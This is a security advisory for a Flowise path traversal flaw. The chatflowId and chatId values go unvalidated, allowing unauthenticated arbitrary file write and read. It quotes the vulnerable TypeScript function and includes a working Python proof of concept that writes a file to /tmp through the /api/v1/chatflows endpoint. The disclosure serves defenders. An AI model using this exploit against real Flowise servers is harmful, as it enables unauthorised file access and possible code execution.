CVE-2025-71334

Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.

### Summary Missing chat flow id validation allows an attacker to access arbitrary file. ### Details Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however, `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues. **Case 1** When creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data. ```typescript export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => { // ... } else { const dir = path.join(getStoragePath(), chatflowid) // path traversal here if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }) } const splitDataURI = fileBase64.split(',') const filename = splitDataURI.pop()?.split(':')[1] ?? '' const bf = Buffer.from(splitDataURI.pop() || '', 'base64') const sanitizedFilename = _sanitizeFilename(filename) const filePath = path.join(dir, sanitizedFilename) fs.writeFileSync(filePath, bf) fileNames.push(sanitizedFilename) return 'FILE-STORAGE::' + JSON.stringify(fileNames) } } ``` **Case 2** When downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path. Note that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication. ### PoC Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'. ```python import requests import json url = "http://localhost:8080/api/v1/chatflows" headers = {"x-request-from": "internal"} nodedata = { "category" : "Document Loaders", "inputs" : { "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn" } } flownode = { "id" : "a", "data" : nodedata } flowdata = { "nodes" : [flownode], "edges" : [], "viewport" : { "x" : 1, "y" : 1, "zoom" : 1 } } data = { "id" : "../../../../../tmp", "name" : "name", "flowData" : json.dumps(flowdata) } res = requests.post(url, json=data, headers=headers) ``` ### Impact 1. Arbitrary file read / write 2. Remote Code Execution 3. Data loss